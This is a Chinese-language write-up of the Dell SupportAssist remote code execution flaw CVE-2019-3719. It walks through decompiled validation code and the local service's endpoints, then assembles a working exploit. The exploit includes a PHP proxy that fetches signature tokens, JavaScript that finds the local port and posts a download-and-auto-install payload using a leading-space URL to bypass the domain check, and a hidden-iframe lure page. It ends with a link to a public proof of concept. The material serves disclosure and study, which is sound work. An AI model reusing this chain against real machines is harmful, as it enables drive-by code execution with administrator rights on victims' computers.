戴尔电脑自带系统软件SupportAssist存在RCE漏洞

POST http://127.0.0.1:8884/downloadservice/downloadmanualinstall?expires=expiretime&signature=signatureAccept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonOrigin: https://www.dell.comReferer: https://www.dell.com/support/home/us/en/19/product-support/servicetag/xxxxx/drivers?showresult=true&files=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

请求消息内容如下：

{    {    "title":"Dell G3 3579 and 3779 System BIOS",    "category":"BIOS",    "name":"G3_3579_1.9.0.exe",    "location":"https://downloads.dell.com/FOLDER05519523M/1/G3_3579_1.9.0.exe?uid=29b17007-bead-4ab2-859e-29b6f1327ea1&fn=G3_3579_1.9.0.exe",    "isSecure":false,    "fileUniqueId":"acd94f47-7614-44de-baca-9ab6af08cf66",    "run":false,    "restricted":false,    "fileId":"198393521",    "fileSize":"13 MB",    "checkedStatus":false,    "fileStatus":-99,    "driverId":"4WW45",    "path":"",    "dupInstallReturnCode":"",    "cssClass":"inactive-step",    "isReboot":true,    "DiableInstallNow":true,    "$$hashKey":"object:175"    }}

// Token: 0x060000A8 RID: 168 RVA: 0x00004EA0 File Offset: 0x000030A0public static bool ValidateDomain(Uri request, Uri urlReferrer){ return SecurityHelper.ValidateDomain(urlReferrer.Host.ToLower()) && (request.Host.ToLower().StartsWith("127.0.0.1") || request.Host.ToLower().StartsWith("localhost")) &&request.Scheme.ToLower().StartsWith("http") && urlReferrer.Scheme.ToLower().StartsWith("http");}// Token: 0x060000A9 RID: 169 RVA: 0x00004F24 File Offset: 0x00003124public static bool ValidateDomain(string domain){ return domain.EndsWith(".dell.com") || domain.EndsWith(".dell.ca") || domain.EndsWith(".dell.com.mx") || domain.EndsWith(".dell.com.br") || domain.EndsWith(".dell.com.pr") || domain.EndsWith(".dell.com.ar") || domain.EndsWith(".supportassist.com");}

http://127.0.0.1:[SERVICEPORT]/clientservice/isalive/?expires=[EXPIRES]&signature=[SIGNATURE]

{ "isAlive": true, "clientVersion": "[CLIENT VERSION]", "requiredVersion": null, "success": true, "data": null, "localTime": [EPOCH TIME], "Exception": {     "Code": null,     "Message": null,     "Type": null }}

clientservice_getdevicedrivers - Grabs available updates.diagnosticsservice_executetip - Takes a tip guid and provides it to the PC Doctor service (Dell Hardware Support).downloadservice_downloadfiles - Downloads a JSON array of files.clientservice_isalive - Used as a heartbeat and returns basic information about the agent.clientservice_getservicetag - Grabs the service tag.localclient_img - Connects to SignalR (Dell Hardware Support).diagnosticsservice_getsysteminfowithappcrashinfo - Grabs system information with crash dump information.clientservice_getclientsysteminfo - Grabs information about devices on system and system health information optionally.diagnosticsservice_startdiagnosisflow - Used to diagnose issues on system.downloadservice_downloadmanualinstall - Downloads a list of files but does not execute them.diagnosticsservice_getalertsandnotifications - Gets any alerts and notifications that are pending.diagnosticsservice_launchtool - Launches a diagnostic tool.diagnosticsservice_executesoftwarefixes - Runs remediation UI and executes a certain action.downloadservice_createiso - Download an ISO.clientservice_checkadminrights - Check if the Agent privileged.diagnosticsservice_performinstallation - Update SupportAssist.diagnosticsservice_rebootsystem - Reboot system.clientservice_getdevices - Grab system devices.downloadservice_dlmcommand - Check on the status of or cancel an ongoing download.diagnosticsservice_getsysteminfo - Call GetSystemInfo on PC Doctor (Dell Hardware Support).downloadservice_installmanual - Install a file previously downloaded using downloadservice_downloadmanualinstall.downloadservice_createbootableiso - Download bootable iso.diagnosticsservice_isalive - Heartbeat check.downloadservice_downloadandautoinstall - Downloads a list of files and executes them.clientservice_getscanresults - Gets driver scan results.downloadservice_restartsystem - Restarts the system.

http://127.0.0.1:[SERVICE PORT]/downloadservice/downloadandautoinstall?expires=[EXPIRES]&signature=[SIGNATURE]

2.其请求消息体为以下的JSON格式：

{ { "title":"DOWNLOAD TITLE", "category":"CATEGORY", "name":"FILENAME", "location":"FILE URL", "isSecure":false, "fileUniqueId":"RANDOMUUID", "run":true, "installOrder":2, "restricted":false, "fileStatus":-99, "driverId":"DRIVER ID", "dupInstallReturnCode":0, "cssClass":"inactive-step", "isReboot":false, "scanPNPId":"PNP ID", "$$hashKey":"object:210" }}

if (service_Method == "downloadservice_downloadandautoinstall"){ string files5 = (arguments != null && arguments.Length != 0 && arguments[0] != null) ? arguments[0].ToString() : string.Empty; result = DownloadServiceLogic.DownloadAndAutoInstall(files5, false);}

以上方法会调用 DownloadServiceLogic.DownloadAutoInstall，并提供请求体中JSON Payload的相应文件下载；

foreach (File file in list){ bool flag2 = file.Location.ToLower().StartsWith("http://"); if (flag2) {     file.Location = file.Location.Replace("http://", "https://"); } bool flag3 = file != null && !string.IsNullOrEmpty(file.Location) && !SecurityHelper.CheckDomain(file.Location); if (flag3) {     DSDLogger.Instance.Error(DownloadServiceLogic.Logger, "InvalidFileException being thrown in _HandleJson method");     throw new InvalidFileException(); }}DownloadHandler.Instance.RegisterDownloadRequest(CreateIso, Bootable, Install, ManualInstall, list);

以上完整性校验检查会对其中涉及的每个文件进行循环检查，例如会检查下载文件的URL，如果是http://就会用https://代替，也会检查其中的URL是否与戴尔下载列表匹配。如下：

public static bool CheckDomain(string fileLocation){ List<string> list = new List<string> {  "ftp.dell.com",  "downloads.dell.com",  "ausgesd4f1.aus.amer.dell.com" }; return list.Contains(new Uri(fileLocation.ToLower()).Host);}

最终，如果以上类似完整性检查都能通过，就会通过DownloadHandler.RegisterDownloadRequest和Dell SupportAssist建立下载关系，以本机管理员身份下载并执行相应驱动文件。基于以上信息，我们可以来尝试编写一个漏洞利用代码。

<?phpheader('Access-Control-Allow-Origin: *');echo file_get_contents('https://www.dell.com/support/home/us/en/04/drivers/driversbyscan/getdsdtoken');?>

function FindServer() { ports.forEach(function(port) {  var is_alive_url = "http://127.0.0.1:" + port + "/clientservice/isalive/?expires=" + signatures.Expires + "&signature=" + signatures.IsaliveToken;  var response = SendAsyncRequest(is_alive_url, function(){server_port = port;}); });}

file.Location = file.Location.Replace("http://", "https://");

function SendRCEPayload() { var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST", auto_install_url, true); var files = []; files.push({ "title": "SupportAssist RCE", "category": "Serial ATA", "name": "calc.EXE", "location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY "isSecure": false, "fileUniqueId": guid(), "run": true, "installOrder": 2, "restricted": false, "fileStatus": -99, "driverId": "FXGNY", "dupInstallReturnCode": 0, "cssClass": "inactive-step", "isReboot": false, "scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10", "$$hashKey": "object:210"});  xmlhttp.send(JSON.stringify(files)); }

<h1>CVE-2019-3719</h1><h1>Nothing suspicious here... move along...</h1><iframe src="http://www.dellrce.dell.com" style="width: 0; height: 0; border: 0; border: none; position: absolute;"></iframe>

具体的漏洞利用工具参见Github：https://github.com/D4stiny/Dell-Support-Assist-RCE-PoC